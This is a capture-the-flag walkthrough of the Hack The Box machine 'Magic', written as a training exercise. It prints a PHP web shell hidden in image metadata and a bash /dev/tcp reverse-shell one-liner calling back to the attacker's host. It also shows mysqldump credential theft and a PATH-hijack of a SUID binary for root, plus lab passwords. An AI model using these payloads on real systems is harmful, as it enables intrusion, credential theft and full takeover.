Introduction

The hack the box machine “Magic” is a medium machine which is included in TJnull’s OSCP Preparation List. Acquiring an initial shell as www-data on this machine requires knowledge in the areas of diretory brute forcing, image file formats and web server misconfigurations. The privilege escalation requires knowledge about database attacks and exploitation of SUID binaries with relative paths.

HTBCard

By enumerating the target, it is possible to identify a web application for hosting images. It can then be discovered that this web application fails to check that users are authenticated before allowing them to upload files. Consequently, it is possible to upload a legitimate image file with a PHP web shell in a metadata tag. Due to a misconfiguration in the web server, the web server mistakes the image for a PHP file and code execution can be acquired. Once a shell has been obtained, it is possible to leak credentials from a MySQL database. By using these credentials and exploiting a SUID binary, it is possible to compromise the root account.

Exploitation

We start by performing an nmap scan by executing nmap -sS -sC -sV -p- 10.10.10.85. The -sS, -sC and -sV flags instruct nmap to perform a SYN scan to identify open ports followed by a script and version scan on the ports which were identified as open. The -p- flag instructs nmap to scan all the ports on the target. From the scan results, shown below, we can see that SSH and HTTP are available on port 22 and 80 respectively.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kali@kali:/tmp/x$ @@sudo nmap -sS -sC -sV -p- 10.10.10.185@@
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-04 05:09 EST
Nmap scan report for 10.10.10.185
Host is up (0.038s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
@@@22/tcp open  ssh@@@     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
@@@80/tcp open  http@@@    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.48 seconds

Navigating to http://10.10.10.185 in a browser leads us to the page below. This page shows a bunch of uploaded images. However, it seems like the only way to access any functionality of the site is to first log in using the Login link at the bottom-left corner.

frontpage

If we click the Login link, we reach the page http://10.10.10.185/login.php, shown below. Since the extension is .php this tells us that the web application is a PHP application.

login

We can check if there are any other pages which we can access without credentials by bruteforcing file names. We can use ffuf to try to guess names of other PHP files, as shown below. We use the -u flag to specify the target URL together with an injection point which we define with the keyword FUZZ. In addition, we use the -w flag to instruct ffuf to use a wordlist from SecLists.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
kali@kali:/tmp/x$ @@ffuf -u http://10.10.10.185/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/big.txt@@
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.185/FUZZ.php
 :: Wordlist         : FUZZ: /home/kali/Documents/SecLists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
index                   [Status: 200, Size: 4134, Words: 498, Lines: 60]
login                   [Status: 200, Size: 4221, Words: 1179, Lines: 118]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1]
@@@upload@@@                  [Status: @@@302@@@, Size: @@@2957@@@, Words: 814, Lines: 85]
:: Progress: [20473/20473] :: Job [1/1] :: 787 req/sec :: Duration: [0:00:26] :: Errors: 0 ::

From the results, we can see that the only pages returning a 200 OK are the index.php and the login.php pages which we already saw. We can also see that requests for the logout.php and upload.php pages resulted in a 302 Found, which means that we are redirected to another page. Most probably, this is the login page. However, if we look at the size of the response to the request for the upload.php page, we can note that it is suspiciously large. Normally, redirection responses only contain a small number of bytes which indicate where the user should be redirected.

We can use Burp Suite to investigate exactly what is going on. To do this, we start Burp Suite, open the built-in chromium browser and navigate to http://10.10.10.185/upload.php. We then select the Proxy tab and the HTTP history subtab to see the list of requests that were performed when we requested the upload.php page, as shown below.

history

If we click the upload.php request, Burp Suite displays the request we made to the upload.php page together with its response. From the content of the response, we can see that the web application actually returned the upload page despite redirecting us to the login page!

uploadReq

We can not interact with this page in a browser since a browser automatically follows redirects and thus would load the login.php page. However, with Burp Suite, we can rewrite the status code of the response to a 200 OK before it reaches the built-in browser. To do this, we navigate to the Options subtab and scroll down to “Match and Replace”. Here, we press the Add button to bring up a dialog where we can add a new “Match and Replace” rule.

matchReplace

Next, we create a rule that replaces any occurance of 302 Found with a 200 OK in any response, as demonstrated below.

matchReplaceRule

We press OK and navigate to http://10.10.10.185/upload.php in the browser. This time, we are not redirected and we reach a page where we can upload images!

uploadPage

We can try to upload a picture by pressing the cloud icon, selecting an image, and pressing Upload Image. In my case, I chose a random cat meme on my computer.

hackerCat

After the page reloads, we can see a text message stating that the file upload was successful.

uploadCat

If we go back to the front page http://10.10.10.185/ and scroll, we can find the picture we tried to upload and we thus know that we can upload files!

uploadedCat

If we right click the image and press Open image in new tab, we can see that it was uploaded to the directory ./images/uploads/.

imageDir

Since we can upload files and access them, we could try to upload a PHP web shell to get remote code execution on the host. A minimal PHP web shell is shown below. This web shell executes anything passed in a GET parameter named “cmd”.

1
<?php system($_REQUEST["cmd"]); ?>

If we save this web shell in a file named “ws.php” and try to upload it, the web application provides us with an error stating that the file type is not allowed.

onlyImage

It appears that the web application is checking that the extension of the uploaded file is a valid image extension. To check for additional limitations, we rename the file to “ws.png” and try to reupload it. This time, we get another error message.

onlyRealPNG

Since the error message is different, we have probably passed the extension filter. However, there seems to be some other filtering mechanism. Sometimes, developers check that the content of an uploaded file corresponds to the file extension. Since we are trying to upload a PHP file with a .png extension, the web application is refusing to upload the file as the file content is not matching the extension. In conclusion, we now know that we can only upload valid image files with valid image file extensions.

However, we can still upload our webshell by hiding it in the metadata of an image. We can display the metadata of an image using exiftool as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kali@kali:/tmp/x$ @@exiftool hackerCat.png@@
ExifTool Version Number         : 12.10
File Name                       : hackerCat.png
Directory                       : .
File Size                       : 338 kB
File Modification Date/Time     : 2022:03:04 10:32:33-05:00
File Access Date/Time           : 2022:03:04 10:19:28-05:00
File Inode Change Date/Time     : 2022:03:04 10:32:33-05:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 601
Image Height                    : 398
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Significant Bits                : 8 8 8 8
Image Size                      : 601x398
Megapixels                      : 0.239

We start by executing cp hackerCat.png evilHackerCat.png to create a copy of the image. Next, we use exiftool to create a metadata tag named “Author” which holds our web shell.

1
2
3
kali@kali:/tmp/x$ @@cp hackerCat.png evilHackerCat.png@@
kali@kali:/tmp/x$ @@exiftool -author='<?php system($_REQUEST["cmd"]); ?>' evilHackerCat.png@@
    @@@1 image files updated@@@

If we check the metadata of our new image, we can see the web shell hiding in the Author field as expected!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kali@kali:/tmp/x$ @@exiftool evilHackerCat.png@@
ExifTool Version Number         : 12.10
File Name                       : evilHackerCat.png
Directory                       : .
File Size                       : 338 kB
File Modification Date/Time     : 2022:03:09 08:27:32-05:00
File Access Date/Time           : 2022:03:09 08:27:32-05:00
File Inode Change Date/Time     : 2022:03:09 08:27:32-05:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 601
Image Height                    : 398
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Significant Bits                : 8 8 8 8
@@@Author@@@                          : @@@<?php system($_REQUEST["cmd"]); ?>@@@
Image Size                      : 601x398
Megapixels                      : 0.239

uploadEvil

If we go back to the upload.php page and try to upload our new image, we can see that the web application accepts the image. However, if we visit http://10.10.10.185/images/uploads/evilHackerCat.png and inspect the response in Burp Suite, we discover that the web application did not execute our PHP code.

noRCE

After playing around with different file extensions and file extension combinations, it is possible to discover that images which include the string “.php” anywhere in the filename, are interpreted as PHP code. We can execute mv evilHackerCat.png evilHackerCat.php.png to include “.php” in the filename of our malicious image and thus trick the web server into believing that it is a PHP file. After renaming the file and uploading it, navigating to http://10.10.10.185/images/uploads/evilHackerCat.php.png does no longer show us the PHP code, indicating that it is being executed!

uploadEvil2 RCE

If we try to execute a command by navigating to http://10.10.10.185/images/uploads/evilHackerCat.php.png?cmd=whoami, we can indeed see that we have code execution on the target!

RCEuser

To get a shell on the host, we can use a reverse shell one-liner such as the one below. Note that the IP address here should be the IP address of the network interface which corresponds to the VPN conneciton.

1
bash -c 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1'

However, we need to be careful with special characters. For example, the ampersand & character could cut our command in half since it is used as a delimiter for GET parameters. To ensure that special characters are not being interpreted in any unwanted way, we can URL encode the command using Burp Suite’s Decoder tool.

URLEncode

Next, we start a netcat listener on port 443 by executing nc -lvnp 443 and execute the reverse shell one-liner by visiting http://10.10.10.185/images/uploads/evilHackerCat.php.png?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%33%2f%34%34%33%20%30%3e%26%31%27.

1
2
3
4
5
6
7
8
kali@kali:/tmp/x$ @@sudo nc -lvnp 443@@
listening on [any] 443 ...
@@@connect to [10.10.14.3] from (UNKNOWN) [10.10.10.185] 50210@@@
bash: cannot set terminal process group (1144): Inappropriate ioctl for device
bash: no job control in this shell
@@@www-data@@@@ubuntu:/var/www/Magic/images/uploads$ @@python3 -c 'import pty; pty.spawn("/bin/bash")'@@
<ds$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/Magic/images/uploads$

After a couple of milliseconds, we get a shell as the www-data user which we can upgrade using Python. The next step is to compromise the root user.

Privilege Escalation

By enumerating files on the system, it is possible to identify a file named “db.php5”. This file contains database credentials, as can be seen below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@ubuntu:/var/www/Magic/images/uploads$ @@ls -la /var/www/Magic@@
ls -la /var/www/Magic
total 52
drwxr-xr-x 4 www-data www-data 4096 Jul 12  2021 .
drwxr-xr-x 4 root     root     4096 Jul  6  2021 ..
-rwx---r-x 1 www-data www-data  162 Oct 18  2019 .htaccess
drwxrwxr-x 6 www-data www-data 4096 Jul  6  2021 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 @@@db.php5@@@
drwxr-xr-x 4 www-data www-data 4096 Jul  6  2021 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22  2019 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22  2019 upload.php
www-data@ubuntu:/var/www/Magic/images/uploads$ @@cat /var/www/Magic/db.php5@@
cat /var/www/Magic/db.php5
<?php
class Database
{
    private static $dbName = '@@@Magic@@@' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = '@@@theseus@@@';
    private static $dbUserPassword = '@@@iamkingtheseus@@@';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@ubuntu:/var/www/Magic/images/uploads$ @@which mysql@@
which mysql
www-data@ubuntu:/var/www/Magic/images/uploads$ @@which mysqldump@@
which mysqldump
@@@/usr/bin/mysqldump@@@
www-data@ubuntu:/var/www/Magic/images/uploads$ @@mysqldump --databases Magic -utheseus -piamkingtheseus@@     
[...]
--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'@@@admin@@@','@@@Th3s3usW4sK1ng@@@');
[...]

Unfortunately, the mysql command does not exist on the target host. As such, we can not use this binary for database connections and executions of arbitrary SQL queries. However, since the mysqldump binary exists, we can dump the entire database and look for sensitive information in the dump. We can use the --databases, -u and -p flags to instruct the binary to dump the database named “Magic” with the credentials we found earlier. In the output of the command, we can see a row of the Login table which contains the username “admin” and password “Th3s3usW4sK1ng”. At this point, we have acquired two usernames and two passwords.

1
2
3
4
5
www-data@ubuntu:/var/www/Magic/images/uploads$ @@cat /etc/passwd | grep "theseus:"@@
<c/images/uploads$ cat /etc/passwd | grep "theseus:"
@@@theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash@@@
www-data@ubuntu:/var/www/Magic/images/uploads$ @@cat /etc/passwd | grep "admin:"@@
<gic/images/uploads$ cat /etc/passwd | grep "admin:"

We can check what users exist on the host by checking the /etc/passwd file. By doing this, we can conclude that theseus is a valid user account but that admin isn’t. We can use su to try to log in to the thesus account using the two passwords we leaked earlier. Upon doing this, we discover that the password “Th3s3usW4sK1ng” is correct and we obtain a shell as theseus

1
2
3
4
5
6
7
8
9
10
www-data@ubuntu:/var/www/Magic/images/uploads$ @@su theseus@@
su theseus
Password: @@iamkingtheseus@@

@@@su: Authentication failure@@@
www-data@ubuntu:/var/www/Magic/images/uploads$ @@su theseus@@
su theseus
Password: @@Th3s3usW4sK1ng@@

@@@theseus@@@@ubuntu:/var/www/Magic/images/uploads$

By executing the command groups we can see that the theseus user is a member of the theseus and users group. The latter is a non-standard group and thus it could be interesting to search for directories and files owned by this group. We can do this using the command find / -group users -exec ls -l {} \; 2>/dev/null.

The -exec ls -l {} \; portion of the command instructs find to execute ls -l for each discovered directory and file, to provide us with more information about it. The 2>/dev/null portion of the command disables error messages by redirecting them to /dev/null. This is useful since it is likely that there are many folders that we can not access, which would result in a large number of permission denied errors.

1
2
3
4
5
6
7
theseus@ubuntu:/var/www/Magic/images/uploads$ @@groups@@
groups
theseus @@@users@@@
theseus@ubuntu:/var/www/Magic/images/uploads$ @@find / -group users -exec ls -l {} \; 2>/dev/null@@       
<$ find / -group users -exec ls -l {} \; 2>/dev/null
-rw@@@s@@@r-x--- 1 @@@root users@@@ 22040 Oct 21  2019 @@@/bin/sysinfo@@@
theseus@ubuntu:/var/www/Magic/images/uploads$

From the output of our search, we discover that the file /bin/sysinfo has the SUID bit set and is owned by root. This means that accounts in the users group can execute this binary as the root user. If we can trick this binary into handing us a bash shell, we can compromise the root account since this bash shell would be running in the context of the root user. If we run this binary, we can see that it appears to provide information about the target host. Among other things, it lists CPU info and information about available memory, as can be seen below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
theseus@ubuntu:/var/www/Magic/images/uploads$ @@/bin/sysinfo@@
[...]
====================CPU Info====================
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 23
model           : 49
model name      : AMD EPYC 7302P 16-Core Processor
stepping        : 0
microcode       : 0x8301038
cpu MHz         : 2994.374
cache size      : 512 KB
physical id     : 0
siblings        : 1
core id         : 0
cpu cores       : 1
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 16
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor
bugs            : fxsave_leak sysret_ss_attrs spectre_v1 spectre_v2 spec_store_bypass
bogomips        : 5988.74
TLB size        : 3072 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 43 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : AuthenticAMD
cpu family      : 23
model           : 49
model name      : AMD EPYC 7302P 16-Core Processor
stepping        : 0
microcode       : 0x8301038
cpu MHz         : 2994.374
cache size      : 512 KB
physical id     : 2
siblings        : 1
core id         : 0
cpu cores       : 1
apicid          : 2
initial apicid  : 2
fpu             : yes
fpu_exception   : yes
cpuid level     : 16
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor
bugs            : fxsave_leak sysret_ss_attrs spectre_v1 spectre_v2 spec_store_bypass
bogomips        : 5988.74
TLB size        : 3072 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 43 bits physical, 48 bits virtual
power management:


====================MEM Usage=====================
              total        used        free      shared  buff/cache   available
Mem:           3.8G        569M        1.8G        6.8M        1.5G        3.0G
Swap:          1.0G          0B        1.0G

To better understand how this binary works under the hood, we can use ltrace, which shows when dynamic libraries are used. To do this, we simply pass the binary as an argument to the ltrace command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
theseus@ubuntu:/var/www/Magic/images/uploads$ @@ltrace /bin/sysinfo@@
ltrace /bin/sysinfo
_ZNSt8ios_base4InitC1Ev(0x557efa73a131, 0xffff, 0x7ffff0c8f8f8, 128) = 0
__cxa_atexit(0x7fcdb3dcca40, 0x557efa73a131, 0x557efa73a008, 6) = 0
setuid(0)                                        = -1
setgid(0)                                        = -1
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x557efa73a020, 0x557efa5388f8, -160, 0) = 0x557efa73a020
_ZNSolsEPFRSoS_E(0x557efa73a020, 0x7fcdb3e3c870, 0x557efa73a020, 0x557efa53892d====================Hardware Info====================
) = 0x557efa73a020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffff0c8f7c0, 0x557efa53892e, 0, 2880) = 0x7ffff0c8f7d0
@@@popen("lshw -short", "r")@@@                        = 0x557efa87e280
[...]
@@@popen("fdisk -l", "r")@@@                           = 0x557efa87e280
[...]
@@@popen("cat /proc/cpuinfo", "r")@@@                  = 0x557efa87e280
[...]
@@@popen("free -h", "r")@@@                            = 0x557efa87e280
fgets("              total        used "..., 128, 0x557efa87e280) = 0x7ffff0c8f710
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff0c8f7c0, 0x7ffff0c8f710, 0x7ffff0c8f710, 0x6176612020206568) = 0x7ffff0c8f7c0
fgets("Mem:           3.8G        569M "..., 128, 0x557efa87e280) = 0x7ffff0c8f710
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff0c8f7c0, 0x7ffff0c8f710, 0x7ffff0c8f710, 0x4040000) = 0x7ffff0c8f7c0
fgets("Swap:          1.0G          0B "..., 128, 0x557efa87e280) = 0x7ffff0c8f710
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff0c8f7c0, 0x7ffff0c8f710, 0x7ffff0c8f710, 0x3120202020202020) = 0x7ffff0c8f7c0
fgets( <no return ...>
--- SIGCHLD (Child exited) ---
<... fgets resumed> "Swap:          1.0G          0B "..., 128, 0x557efa87e280) = 0
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE(0x557efa73a020, 0x7ffff0c8f7c0, 0x557efa86c010, 0              total        used        free      shared  buff/cache   available
Mem:           3.8G        569M        1.8G        6.8M        1.5G        3.0G
Swap:          1.0G          0B        1.0G
) = 0x557efa73a020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev(0x7ffff0c8f7c0, 0, 0x7fcdb40a9960, 1024) = 0
+++ exited (status 0) +++

From the output, we can see that the binary executes other binaries using the popen function which simply takes a command and executes it in a shell. These binaries are lshw, fdisk, cat and free. What is crucial to note here is that the binaries are not specified using absolute paths. This means that the sysinfo binary will search for these binary in all directories specified by the PATH environment variable.

If we can write an executable to a directory listed in the PATH variable, we could trick the sysinfo binary into executing our own executable rather than one of the legitimate ones. To do this, we need a directory which we can write to. We can use /tmp since it is normally writable by anyone. We can execute export PATH="/tmp:$PATH" to add this directory to the beginning of the PATH variable as demonstrated below. Since the directories are ordered by priority, the first directory that will be searched will be the /tmp directory.

1
2
3
4
5
6
7
8
theseus@ubuntu:/var/www/Magic/images/uploads$ @@echo $PATH@@
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
theseus@ubuntu:/var/www/Magic/images/uploads$ @@export PATH="/tmp:$PATH"@@
export PATH="/tmp:$PATH"
theseus@ubuntu:/var/www/Magic/images/uploads$ @@echo $PATH@@
echo $PATH
@@@/tmp:@@@/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Next, we create a file named “lshw” in the /tmp directory and ensure that it contains the command bash 1>&0 2>&0. We use 1>&0 and 2>&0 to redirect STDOUT and STDERR to STDIN. Then, we use chmod to turn the file into an executable. Note that we choose to name our script “lshw” but that the name can be set to any of the other three binaries as well.

1
2
3
4
5
6
7
8
theseus@ubuntu:/var/www/Magic/images/uploads$ @@echo 'bash 1>&0 2>&0' > /tmp/lshw@@
<c/images/uploads$ echo 'bash 1>&0 2>&0' > /tmp/lshw
theseus@ubuntu:/var/www/Magic/images/uploads$ @@chmod +x /tmp/lshw@@
chmod +x /tmp/lshw
theseus@ubuntu:/var/www/Magic/images/uploads$ @@/bin/sysinfo@@
/bin/sysinfo
====================Hardware Info====================
@@@root@@@@ubuntu:/var/www/Magic/images/uploads# 

Finally, we execute the /bin/sysinfo binary and it grants us a root shell since it mistakingly executes our lshw script rather than the legitimate lshw binary!